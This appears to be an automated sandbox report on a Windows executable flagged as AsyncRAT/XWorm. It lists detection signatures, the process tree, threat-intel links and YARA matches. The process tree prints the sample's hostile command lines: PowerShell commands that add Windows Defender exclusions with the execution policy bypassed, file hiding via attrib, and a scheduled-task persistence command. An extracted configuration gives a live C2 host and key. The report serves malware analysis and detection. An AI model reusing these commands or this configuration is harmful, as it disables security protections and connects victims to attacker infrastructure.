Edit tour

Windows Analysis Report
YgJ5inWPQO.exe

Overview

General Information

Sample name:	YgJ5inWPQO.exe renamed because original name is a hash value
Original sample name:	fdd53599267201df460d004d399609274c7f0ba5342004d5c73e817f33a670a2.exe
Analysis ID:	1579069
MD5:	abbb4a5a77f9cf1530d24710a621026c
SHA1:	a8b3f3d965202dfd6b7a9cc10963c0cfccf35682
SHA256:	fdd53599267201df460d004d399609274c7f0ba5342004d5c73e817f33a670a2
Tags:	exeuser-Chainskilabs
Infos:

Detection

AsyncRAT, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AsyncRAT

Yara detected Powershell download and execute

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Found pyInstaller with non standard icon

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Protects its processes via BreakOnTermination flag

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses cmd line tools excessively to alter registry or file data

Uses ipconfig to lookup or modify the Windows network settings

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Electron Application Child Processes

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

YgJ5inWPQO.exe (PID: 432 cmdline: "C:\Users\user\Desktop\YgJ5inWPQO.exe" MD5: ABBB4A5A77F9CF1530D24710A621026C)

YgJ5inWPQO.exe (PID: 5352 cmdline: "C:\Users\user\Desktop\YgJ5inWPQO.exe" MD5: ABBB4A5A77F9CF1530D24710A621026C)

cmd.exe (PID: 2332 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5236 cmdline: attrib +h C:\Users\user\AppData\Local\Temp\msedge.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 3116 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5768 cmdline: attrib +h C:\Users\user\AppData\Local\Temp\dddd.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 4568 cmdline: C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\msedge.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msedge.exe (PID: 5560 cmdline: C:\Users\user\AppData\Local\Temp\msedge.exe MD5: A3B7B97F81C08C56A79971799B793072)

powershell.exe (PID: 4932 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\msedge.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2212 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msedge.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7288 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\System User.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7524 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7792 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\user\AppData\Roaming\System User.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4280 cmdline: C:\Windows\system32\cmd.exe /c "START C:\Users\user\AppData\Local\Temp\dddd.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dddd.exe (PID: 6476 cmdline: C:\Users\user\AppData\Local\Temp\dddd.exe MD5: 02C70D9D6696950C198DB93B7F6A835E)

conhost.exe (PID: 6828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5012 cmdline: "cmd" /c ipconfig /all MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ipconfig.exe (PID: 5292 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

WerFault.exe (PID: 3576 cmdline: C:\Windows\system32\WerFault.exe -u -p 6476 -s 2224 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

System User.exe (PID: 7868 cmdline: "C:\Users\user\AppData\Roaming\System User.exe" MD5: A3B7B97F81C08C56A79971799B793072)

System User.exe (PID: 8160 cmdline: "C:\Users\user\AppData\Roaming\System User.exe" MD5: A3B7B97F81C08C56A79971799B793072)

System User.exe (PID: 2296 cmdline: "C:\Users\user\AppData\Roaming\System User.exe" MD5: A3B7B97F81C08C56A79971799B793072)

System User.exe (PID: 1976 cmdline: "C:\Users\user\AppData\Roaming\System User.exe" MD5: A3B7B97F81C08C56A79971799B793072)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["hope-asia.gl.at.ply.gg"], "Port": 35710, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
\Device\ConDrv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Roaming\System User.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\System User.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\System User.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\msedge.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\msedge.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\msedge.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1479245702.000001D8A966B000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x42a4b:$s6: VirtualBox 0x429a9:$s8: Win32_ComputerSystem 0x44ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x44f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x4505f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x445a9:$cnc4: POST / HTTP/1.1
00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1485033909.000001D8A9686000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x27a4b:$s6: VirtualBox 0x279a9:$s8: Win32_ComputerSystem 0x29ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x29f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2a05f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x295a9:$cnc4: POST / HTTP/1.1
00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1085a:$s6: VirtualBox 0x107b8:$s8: Win32_ComputerSystem 0x12cbc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12d59:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12e6e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x123b8:$cnc4: POST / HTTP/1.1
0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000C.00000000.1480505898.00000000003D2000.00000002.00000001.01000000.00000008.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1041b:$s6: VirtualBox 0x10379:$s8: Win32_ComputerSystem 0x1287d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1291a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12a2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x11f79:$cnc4: POST / HTTP/1.1
00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000002.1495329200.000001D8A969D000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x10a4b:$s6: VirtualBox 0x109a9:$s8: Win32_ComputerSystem 0x12ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1305f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x125a9:$cnc4: POST / HTTP/1.1
00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1477753556.000001D8A9689000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x24a4b:$s6: VirtualBox 0x249a9:$s8: Win32_ComputerSystem 0x26ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x26f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2705f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x265a9:$cnc4: POST / HTTP/1.1
0000000C.00000002.2742589628.0000000002601000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1486802746.000001D8A968D000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x20a4b:$s6: VirtualBox 0x209a9:$s8: Win32_ComputerSystem 0x22ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x22f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2305f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x225a9:$cnc4: POST / HTTP/1.1
00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000003.1486429771.000001D8A9688000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x25a4b:$s6: VirtualBox 0x259a9:$s8: Win32_ComputerSystem 0x27ead:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x27f4a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2805f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x275a9:$cnc4: POST / HTTP/1.1
Process Memory Space: YgJ5inWPQO.exe PID: 5352	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: YgJ5inWPQO.exe PID: 5352	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: msedge.exe PID: 5560	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: dddd.exe PID: 6476	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.4.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.4.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a96bd23f.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.2.YgJ5inWPQO.exe.1d8a969d430.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.2.YgJ5inWPQO.exe.1d8a969d430.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.5.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.3.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1061b:$s6: VirtualBox 0x10579:$s8: Win32_ComputerSystem 0x12a7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12179:$cnc4: POST / HTTP/1.1
2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.3.YgJ5inWPQO.exe.1d8a969d430.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xe81b:$s6: VirtualBox 0xe779:$s8: Win32_ComputerSystem 0x10c7d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x10d1a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x10e2f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x10379:$cnc4: POST / HTTP/1.1
